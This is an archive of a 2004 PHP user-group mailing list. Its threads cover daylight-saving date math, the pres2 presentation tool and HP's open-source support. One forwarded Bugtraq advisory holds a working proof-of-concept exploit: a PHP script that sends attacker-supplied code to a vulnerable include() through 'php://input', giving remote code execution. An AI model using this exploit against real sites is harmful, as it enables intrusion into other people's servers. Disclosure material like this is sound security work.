doh, of course... it's always 2am on a Sunday


> On Fri, 28 May 2004 drydell at att.net wrote:
> 
> > and why was the difference 24 hours in 2003 and 2005? Isn't the
> > change on the same date every year?
> 
> What makes you think that?
> 
> http://webexhibits.org/daylightsaving/b.html
> 
> -adam
> 
> -- 
> adam at trachtenberg.com
> author of o'reilly's php cookbook
> avoid the holiday rush, buy your copy today!
> _______________________________________________
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From jonbaer at jonbaer.net  Thu May 27 22:20:42 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Thu, 27 May 2004 22:20:42 -0400
Subject: [nycphp-talk] [Fwd: [PHP] include() bypassing filter with
	php://input]
Message-ID: <40B6A1FA.3000303@jonbaer.net>

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- -------- Original Message --------
Subject: [PHP] include() bypassing filter with php://input
Date: 27 May 2004 09:07:15 -0000
From: Himeur Nourredine <lostnoobs at security-challenge.com>
To: bugtraq at securityfocus.com



Informations :
??????????????
Website : http://www.php.net
Version : PHP 3.0.13 =>
Problem : Inlude() bypassing filter


Proof of concept:
???????? Exploit ?????????
<------------ cut here ---------------->
<form action="" methode="post" >
target server : <input type="text" name="server" ><br>
file : <input type="text" name="file" ><br>
exec : <input type="text" name="cmd" ><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message  = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
<------------ cut here ---------------->

target server = "www.exemple.com"
file = "index.php?page="
exec = "<? phpinfo(); ?>"

Explaination
??????????????
You can bypassing filter protection who parse http:// or ftp:// ...
"php://input" allows to put data in the function include() by sending a
request with code php in POST methode.


For More details :
??????????????
http://fr2.php.net/manual/en/wrappers.php.php
irc.fr.worldnet.net #s-c

Nourredine Himeur

www.security-challenge.com

This vulnerability was found by Slythers but he's too shy for publish
the vuln ;)

greetz : mum , daddy , tcpteam , Nyx





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From phillip.powell at adnet-sys.com  Fri May 28 09:50:33 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Fri, 28 May 2004 09:50:33 -0400
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>
References: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>
Message-ID: <40B743A9.3090800@adnet-sys.com>

drydell at att.net wrote:

>doh, of course... it's always 2am on a Sunday
>
>
>  
>
>>On Fri, 28 May 2004 drydell at att.net wrote:
>>
>>    
>>
>>>and why was the difference 24 hours in 2003 and 2005? Isn't the
>>>change on the same date every year?
>>>      
>>>
>>What makes you think that?
>>
>>http://webexhibits.org/daylightsaving/b.html
>>
>>-adam
>>
>>-- 
>>adam at trachtenberg.com
>>author of o'reilly's php cookbook
>>avoid the holiday rush, buy your copy today!
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>    
>>
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>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
You're making a great case for java.util.Date BTW.

Phil

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From dmintz at davidmintz.org  Fri May 28 09:49:26 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 28 May 2004 09:49:26 -0400 (EDT)
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>
References: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>
Message-ID: <Pine.BSF.4.58.0405280937340.88850@emra.pair.com>



The next question is, what do you do about calculating real (not clock)
differences between two dates that straddle the time change?

I've looked at the recipe in the <fawn>justly legendary</fawn> PHP
Cookbook. It involves converting to Julian day. I came across it
belatedly, after I'd rolled my own solution that converts the input dates
to GMT and then does the arithmetic. It appears to work with every case
I've thrown at it; I've tested the hell out of it. Still I wonder if you
guys think the strategy is sound.

One thing I like about my solution is that it doesn't require any
extensions to be loaded.

---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From sklar at sklar.com  Fri May 28 10:39:42 2004
From: sklar at sklar.com (David Sklar)
Date: Fri, 28 May 2004 10:39:42 -0400
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <Pine.BSF.4.58.0405280937340.88850@emra.pair.com>
References: <052820040029.702.40B687F6000DC4D6000002BE2158766755FF93939A9B868D@att.net>
	<Pine.BSF.4.58.0405280937340.88850@emra.pair.com>
Message-ID: <40B74F2E.3070604@sklar.com>

> I've looked at the recipe in the <fawn>justly legendary</fawn> PHP
> Cookbook. It involves converting to Julian day. I came across it
> belatedly, after I'd rolled my own solution that converts the input dates
> to GMT and then does the arithmetic. It appears to work with every case
> I've thrown at it; I've tested the hell out of it. Still I wonder if you
> guys think the strategy is sound.
> 
> One thing I like about my solution is that it doesn't require any
> extensions to be loaded.

Doing all your internal date math with GMT is a good idea. As long as 
you don't use $timestamp += 86400 or $timestamp -=86400 for incrementing 
  or decrementing by 1 day, then you should be OK. strtotime() is pretty 
good about respecting DST changes. Depending on your system, though, 
Julian days handle a wider range of dates than epoch timestamps.

David



From Cbielanski at inta.org  Fri May 28 10:48:15 2004
From: Cbielanski at inta.org (Chris Bielanski)
Date: Fri, 28 May 2004 10:48:15 -0400
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <C0CDB9F5E81C234FBB42D84E7853125DC1BA00@intamail1.inta>

Just so I can get a clearer picture, is there something evil about
installing Julian, or is it that it's not a "standard" package and therefore
just an annoyance?


Thanks,
Chris Bielanski
Web Programmer, 
International Trademark Association,
1133 Avenue of the Americas, 33rd Floor
New York, NY 10036
+1 (212) 642-1745, f: +1 (212) 768-7796
mailto:cbielanski at inta.org, www.inta.org  
INTA -- 125 Years of Excellence



> -----Original Message-----
> From: David Sklar [mailto:sklar at sklar.com]
> Sent: Friday, May 28, 2004 10:40 AM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] Date Calculation Error
> 
> 
> > I've looked at the recipe in the <fawn>justly legendary</fawn> PHP
> > Cookbook. It involves converting to Julian day. I came across it
> > belatedly, after I'd rolled my own solution that converts 
> the input dates
> > to GMT and then does the arithmetic. It appears to work 
> with every case
> > I've thrown at it; I've tested the hell out of it. Still I 
> wonder if you
> > guys think the strategy is sound.
> > 
> > One thing I like about my solution is that it doesn't require any
> > extensions to be loaded.
> 
> Doing all your internal date math with GMT is a good idea. As long as 
> you don't use $timestamp += 86400 or $timestamp -=86400 for 
> incrementing 
>   or decrementing by 1 day, then you should be OK. 
> strtotime() is pretty 
> good about respecting DST changes. Depending on your system, though, 
> Julian days handle a wider range of dates than epoch timestamps.
> 
> David
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 


From sklar at sklar.com  Fri May 28 10:51:40 2004
From: sklar at sklar.com (David Sklar)
Date: Fri, 28 May 2004 10:51:40 -0400
Subject: [nycphp-talk] Date Calculation Error
In-Reply-To: <C0CDB9F5E81C234FBB42D84E7853125DC1BA00@intamail1.inta>
References: <C0CDB9F5E81C234FBB42D84E7853125DC1BA00@intamail1.inta>
Message-ID: <40B751FC.3030705@sklar.com>

> Just so I can get a clearer picture, is there something evil about
> installing Julian, or is it that it's not a "standard" package and therefore
> just an annoyance?

There's nothing evil about it, but the functions are part of the 
"calendar" extension, so there is a small chance they won't be available 
on every PHP installation. I say small chance because the "calendar" 
extension is included in the default configuration and depends on no 
external libraries.

David



From Cbielanski at inta.org  Fri May 28 10:58:38 2004
From: Cbielanski at inta.org (Chris Bielanski)
Date: Fri, 28 May 2004 10:58:38 -0400
Subject: [nycphp-talk] Date Calculation Error
Message-ID: <C0CDB9F5E81C234FBB42D84E7853125DC1BA01@intamail1.inta>

(I'm really starting to dislike Outlook Express as a list reader, the
replies get unthreaded :( Barring that..)

As far as having "calendar" installed, I recall reading that some parts of
calendar (or was it one of the user-submitted new calender-like extens?)
were not always available on Windoze for some reason. Stupid windows. :(

Thanks,
Chris Bielanski
Web Programmer, 
International Trademark Association,
1133 Avenue of the Americas, 33rd Floor
New York, NY 10036
+1 (212) 642-1745, f: +1 (212) 768-7796
mailto:cbielanski at inta.org, www.inta.org  
INTA -- 125 Years of Excellence



> -----Original Message-----
> From: David Sklar [mailto:sklar at sklar.com]
> Sent: Friday, May 28, 2004 10:52 AM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] Date Calculation Error
> 
> 
> > Just so I can get a clearer picture, is there something evil about
> > installing Julian, or is it that it's not a "standard" 
> package and therefore
> > just an annoyance?
> 
> There's nothing evil about it, but the functions are part of the 
> "calendar" extension, so there is a small chance they won't 
> be available 
> on every PHP installation. I say small chance because the "calendar" 
> extension is included in the default configuration and depends on no 
> external libraries.
> 
> David
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 


From dmintz at davidmintz.org  Fri May 28 16:00:59 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 28 May 2004 16:00:59 -0400 (EDT)
Subject: [nycphp-talk] php presentation system (Re URL for David Sklar's
 QuickForm presentation)
In-Reply-To: <40B4B5C4.8000305@sklar.com>
References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
Message-ID: <Pine.BSF.4.58.0405281551260.88850@emra.pair.com>


Hey David Sklar:

One more question about the cool presentation tool. Mind if I peek at the
underlying *.xml files, for your slides so I can ape and learn, and if so
where? I can't seem to track down any example slides and the documentation
I've been able to find is sparse.  In particular, I want to figure out how
to add a live HTML form that will invoke some PHP when submitted.

If anyone else knows where to find tips or docs I'd be grateful.

On Wed, 26 May 2004, David Sklar wrote:

> Hi, Jayesh. You are neither stupid or blind -- I'm slow at updating my
> site! The presentation is at:
>
> --> http://www.sklar.com/talks/nyphp-quickform
>
> I'll be updating http://www.sklar.com/page/section/work today with a
> link to it.

---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From dmintz at davidmintz.org  Fri May 28 16:28:37 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 28 May 2004 16:28:37 -0400 (EDT)
Subject: [nycphp-talk] php presentation system (Re URL for David Sklar's
	QuickForm presentation)
In-Reply-To: <Pine.BSF.4.58.0405281551260.88850@emra.pair.com>
References: <40B4A86A.4040108@ceruleansky.com> <40B4B5C4.8000305@sklar.com>
	<Pine.BSF.4.58.0405281551260.88850@emra.pair.com>
Message-ID: <Pine.BSF.4.58.0405281627330.88850@emra.pair.com>


Oops, I figured it out. Pretty damn simple ain't it.

On Fri, 28 May 2004, David Mintz wrote:

>
> Hey David Sklar:
>
> One more question about the cool presentation tool. Mind if I peek at the
> underlying *.xml files, for your slides so I can ape and learn, and if so
> where? I can't seem to track down any example slides and the documentation
> I've been able to find is sparse.  In particular, I want to figure out how
> to add a live HTML form that will invoke some PHP when submitted.
>
> If anyone else knows where to find tips or docs I'd be grateful.

---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From shiflett at php.net  Sat May 29 03:42:28 2004
From: shiflett at php.net (Chris Shiflett)
Date: Sat, 29 May 2004 00:42:28 -0700 (PDT)
Subject: [nycphp-talk] php presentation system (Re URL for David Sklar's
	QuickForm presentation)
In-Reply-To: <Pine.BSF.4.58.0405281551260.88850@emra.pair.com>
Message-ID: <20040529074228.92153.qmail@web14301.mail.yahoo.com>

--- David Mintz <dmintz at davidmintz.org> wrote:
> One more question about the cool presentation tool. Mind if I peek at
> the underlying *.xml files, for your slides so I can ape and learn,
> and if so where?

I'm not sure whether Dave committed his stuff to the presentations
project, but even if he didn't, you can find lots of good examples there:

http://cvs.php.net/cvs.php/presentations/

It's a separate project from pres2.

Hope that helps.

Chris

=====
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PHP Security - O'Reilly
     Coming Fall 2004
HTTP Developer's Handbook - Sams
     http://httphandbook.org/
PHP Community Site
     http://phpcommunity.org/


From sm11szw02 at sneakemail.com  Sat May 29 10:30:11 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: Sat, 29 May 2004 10:30:11 -0400
Subject: [nycphp-talk] php presentation system (Re URL for David Sklar's
	QuickForm presentation)
In-Reply-To: <20040529074228.92153.qmail@web14301.mail.yahoo.com>
References: <20040529074228.92153.qmail@web14301.mail.yahoo.com>
Message-ID: <20267-85328@sneakemail.com>


Chris Shiflett shiflett-at-php.net |nyphp 04/2004| wrote:

>--- David Mintz <dmintz at davidmintz.org> wrote:
>  
>
>>One more question about the cool presentation tool. Mind if I peek at
>>the underlying *.xml files, for your slides so I can ape and learn,
>>and if so where?
>>    
>>
>
>I'm not sure whether Dave committed his stuff to the presentations
>project, but even if he didn't, you can find lots of good examples there:
>
>http://cvs.php.net/cvs.php/presentations/
>
>It's a separate project from pres2.
>
>Hope that helps.
>
>Chris
>
>=====
>Chris Shiflett - http://shiflett.org/
>
>PHP Security - O'Reilly
>     Coming Fall 2004
>HTTP Developer's Handbook - Sams
>     http://httphandbook.org/
>PHP Community Site
>     http://phpcommunity.org/
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/tal
>  
>

Thanks, Chris. Ciuld you offer a brief synopsis of the difference 
between "presentations"  and "pres2" ? Thanks again.

-=john



From sm11szw02 at sneakemail.com  Sat May 29 10:32:01 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: 29 May 2004 14:32:01 -0000
Subject: [nycphp-talk] presentation system under php - comparison?
Message-ID: <21685-94355@sneakemail.com>


Chris Shiflett shiflett-at-php.net |nyphp 04/2004| wrote:

> --- David Mintz <dmintz at davidmintz.org> wrote:
>  
>
>> One more question about the cool presentation tool. Mind if I peek at
>> the underlying *.xml files, for your slides so I can ape and learn,
>> and if so where?
>>   
>
>
> I'm not sure whether Dave committed his stuff to the presentations
> project, but even if he didn't, you can find lots of good examples there:
>
> http://cvs.php.net/cvs.php/presentations/
>
> It's a separate project from pres2.
>
> Hope that helps.
>
> Chris
>
> =====
> Chris Shiflett - http://shiflett.org/
>
> PHP Security - O'Reilly
>     Coming Fall 2004
> HTTP Developer's Handbook - Sams
>     http://httphandbook.org/
> PHP Community Site
>     http://phpcommunity.org/
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/tal
>  
>

Thanks, Chris. Ciuld you offer a brief synopsis of the difference between "presentations"  and "pres2" ? Thanks again.

-=john






From adam at trachtenberg.com  Sat May 29 13:52:06 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Sat, 29 May 2004 13:52:06 -0400 (EDT)
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <21685-94355@sneakemail.com>
References: <21685-94355@sneakemail.com>
Message-ID: <Pine.LNX.4.58.0405291351020.24212@miranda.org>

On Sat, 29 May 2004, inforequest wrote:

> Thanks, Chris. Ciuld you offer a brief synopsis of the difference
> between "presentations" and "pres2" ? Thanks again.

* pres2 is the name of the presentation program (e.g. PowerPoint)

* presentations is a collection of presentation files in pres2 format.

-adam

-- 
adam at trachtenberg.com
author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From sm11szw02 at sneakemail.com  Sat May 29 15:43:57 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: Sat, 29 May 2004 15:43:57 -0400
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <Pine.LNX.4.58.0405291351020.24212@miranda.org>
References: <21685-94355@sneakemail.com>
	<Pine.LNX.4.58.0405291351020.24212@miranda.org>
Message-ID: <20879-93004@sneakemail.com>

Adam Maccabee Trachtenberg adam-at-trachtenberg.com |nyphp 04/2004| wrote:

>On Sat, 29 May 2004, inforequest wrote:
>
>  
>
>>Thanks, Chris. Ciuld you offer a brief synopsis of the difference
>>between "presentations" and "pres2" ? Thanks again.
>>    
>>
>
>* pres2 is the name of the presentation program (e.g. PowerPoint)
>
>* presentations is a collection of presentation files in pres2 format.
>
>-adam
>
>  
>
OIC, thanks.




From dmintz at davidmintz.org  Sat May 29 17:04:54 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Sat, 29 May 2004 17:04:54 -0400 (EDT)
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <20879-93004@sneakemail.com>
References: <21685-94355@sneakemail.com>
	<Pine.LNX.4.58.0405291351020.24212@miranda.org>
	<20879-93004@sneakemail.com>
Message-ID: <Pine.BSF.4.58.0405291701240.5996@emra.pair.com>

On Sat, 29 May 2004, inforequest wrote:

> Adam Maccabee Trachtenberg adam-at-trachtenberg.com |nyphp 04/2004| wrote:
> >
> >* pres2 is the name of the presentation program (e.g. PowerPoint)
> >
> >* presentations is a collection of presentation files in pres2 format.

Thanks guys.

That is one cool tool. I am planning a mini-spiel on using HTML_QuickForm
and Smarty together for the July meeting, and it would be the very epitome
of uncoolness to show up at a NYPHP meeting and give a presentation with
Microsoft PowerPoint, don't you think?


---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From sm11szw02 at sneakemail.com  Sat May 29 18:55:06 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: Sat, 29 May 2004 18:55:06 -0400
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <Pine.BSF.4.58.0405291701240.5996@emra.pair.com>
References: <21685-94355@sneakemail.com>	<Pine.LNX.4.58.0405291351020.24212@miranda.org>	<20879-93004@sneakemail.com>
	<Pine.BSF.4.58.0405291701240.5996@emra.pair.com>
Message-ID: <9182-04196@sneakemail.com>

David Mintz dmintz-at-davidmintz.org |nyphp 04/2004| wrote:

>On Sat, 29 May 2004, inforequest wrote:
>
>  
>
>>Adam Maccabee Trachtenberg adam-at-trachtenberg.com |nyphp 04/2004| wrote:
>>    
>>
>>>* pres2 is the name of the presentation program (e.g. PowerPoint)
>>>
>>>* presentations is a collection of presentation files in pres2 format.
>>>      
>>>
>
>Thanks guys.
>
>That is one cool tool. I am planning a mini-spiel on using HTML_QuickForm
>and Smarty together for the July meeting, and it would be the very epitome
>of uncoolness to show up at a NYPHP meeting and give a presentation with
>Microsoft PowerPoint, don't you think?
>
>
>---
>David Mintz
>http://davidmintz.org/
>
>        "Anybody else got a problem with Webistics?" -- Sopranos 24:17
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>
>  
>
well..... I for one wouldn't trash you for doing that :-)

When I do a talk that isn't interactive (something like one might do 
with powerpoint) I don't even bring a notebook anymore. I carry my 
<insert your favorite brand here, mind ends in TRAX> portable hard 
drive/video player, which plugs into a projector and displays slideshows 
(and it's also a video/mp3 player and "infinite storage" for my camera's 
CF cards). The slides are just image files so they can be just about 
anything....

It's quite another scanerio when you need a php interpreter at the ready...








From danielc at analysisandsolutions.com  Sat May 29 21:15:25 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Sat, 29 May 2004 21:15:25 -0400
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <Pine.LNX.4.58.0405291351020.24212@miranda.org>
References: <21685-94355@sneakemail.com>
	<Pine.LNX.4.58.0405291351020.24212@miranda.org>
Message-ID: <20040530011525.GB9995@panix.com>

Hi Folks:

On Sat, May 29, 2004 at 01:52:06PM -0400, Adam Maccabee Trachtenberg wrote:
> 
> * pres2 is the name of the presentation program (e.g. PowerPoint)

Personally, I don't like how the output looks (at least on my recent 
Mozilla build with JavaScript turned off, perhaps it looks better in 
other browsers.)

I've brewed my own presentation system and used it for the three 
presentations I gave to the group.  The source code for it is available at

http://cvs.nyphp.org/cvsweb.cgi/nyphp.org/content/presentations/bikesummer/
or 
cvs -d :pserver:nyphp at cvs.nyphp.org:/repo co nyphp.org/content/presentations/bikesummer

One really nice thing about it is the keyboard navigation (ALT-X takes you 
to the next slide).  The auto-generated table of contents helps too.

Enjoy,

--Dan

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From shiflett at php.net  Sun May 30 19:13:45 2004
From: shiflett at php.net (Chris Shiflett)
Date: Sun, 30 May 2004 16:13:45 -0700 (PDT)
Subject: [nycphp-talk] php presentation system (Re URL for David Sklar's
	QuickForm presentation)
In-Reply-To: <20267-85328@sneakemail.com>
Message-ID: <20040530231345.5743.qmail@web14309.mail.yahoo.com>

--- inforequest <sm11szw02 at sneakemail.com> wrote:
> Thanks, Chris. Ciuld you offer a brief synopsis of the difference 
> between "presentations"  and "pres2" ? Thanks again.

pres2 is the presentation system, whereas presentations are the
presentations. Think of pres2 as a DVD player and presentations as the
DVDs.

Chris

=====
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PHP Security - O'Reilly
     Coming Fall 2004
HTTP Developer's Handbook - Sams
     http://httphandbook.org/
PHP Community Site
     http://phpcommunity.org/


From shiflett at php.net  Sun May 30 19:21:33 2004
From: shiflett at php.net (Chris Shiflett)
Date: Sun, 30 May 2004 16:21:33 -0700 (PDT)
Subject: [nycphp-talk] presentation system under php - comparison?
In-Reply-To: <Pine.BSF.4.58.0405291701240.5996@emra.pair.com>
Message-ID: <20040530232133.83463.qmail@web14308.mail.yahoo.com>

--- David Mintz <dmintz at davidmintz.org> wrote:
> That is one cool tool. I am planning a mini-spiel on using
> HTML_QuickForm and Smarty together for the July meeting, and it
> would be the very epitome of uncoolness to show up at a NYPHP
> meeting and give a presentation with Microsoft PowerPoint, don't
> you think?

I've seen some very good presentations given with PowerPoint. A friend of
mine goes through an average of 150 slides for a 45 minute talk, because
he does things like highlight specific bits of code while he's talking.
The lack of interactiveness can be overcome with some carefully-prepared
examples, in my opinion.

At ApacheCon, Theo Schlossnagle was showing me his Keynote slides. That
seems like a better product than PowerPoint for the static slides
approach, but it only runs on Mac.

Chris

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From danielk at us.ibm.com  Mon May 31 11:55:41 2004
From: danielk at us.ibm.com (Daniel Krook)
Date: Mon, 31 May 2004 11:55:41 -0400
Subject: [nycphp-talk] HP to support MySQL
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There's a couple of interesting articles in today's NY Times about HP's
upcoming announcement on support for MySQL and JBoss.
(registration user/pass = fidelcastrocuba/castro)


"Hewlett to Support Software of 2 Open Source Companies"
http://www.nytimes.com/2004/05/31/technology/31open.html

"HP expands open-source support"
http://www.nytimes.com/cnet/CNET_2100-7344_3-5222843.html


And other related stories...
http://news.google.com/news?num=30&hl=en&edition=us&q=cluster:www%2enytimes%2ecom%2f2004%2f05%2f31%2ftechnology%2f31open%2ehtml









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From csnyder at chxo.com  Mon May 31 12:05:14 2004
From: csnyder at chxo.com (Chris Snyder)
Date: Mon, 31 May 2004 12:05:14 -0400
Subject: [nycphp-talk] HP to support MySQL
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... and it's about time.

HP hardware has always been open source friendly (unlike, say, Dell) but 
their corporate policies since the Compaq meger have been a turnoff.

So now we have Sun, IBM, Apple, and HP supporting open source... when 
will Sony finally come around?

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> There's a couple of interesting articles in today's NY Times=20
> about HP's upcoming announcement on support for MySQL and JBoss.
> (registration user/pass =3D fidelcastrocuba/castro)
>=20
>=20
> "Hewlett to Support Software of 2 Open Source Companies"
> http://www.nytimes.com/2004/05/31/technology/31open.html
>=20
> "HP expands open-source support"
> http://www.nytimes.com/cnet/CNET_2100-7344_3-5222843.html
>=20
>=20
> And other related stories...
> http://news.google.com/news?num=3D30&hl=3Den&edition=3Dus&q=3Dcluster:
> www%2enytimes%2ecom%2f2004%2f05%2f31%2ftechnology%2f31open%2ehtml

Yeah, good stuff at MySQL... big buzz about this last week.  This could
be a significant move, since one of the lacking aspects has been a
certified app server platform, based strictly on open source.

H

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> $ echo "php" | sed "s/php/\\/"
> sed: -e expression #1, char 8: Unterminated `s' command $=20
> echo "php" | sed 's/php/\\'
> \

Not 100% but I think you need to escape the escape when using double
quotes...

echo "php" | sed "s/php/\\\/"

H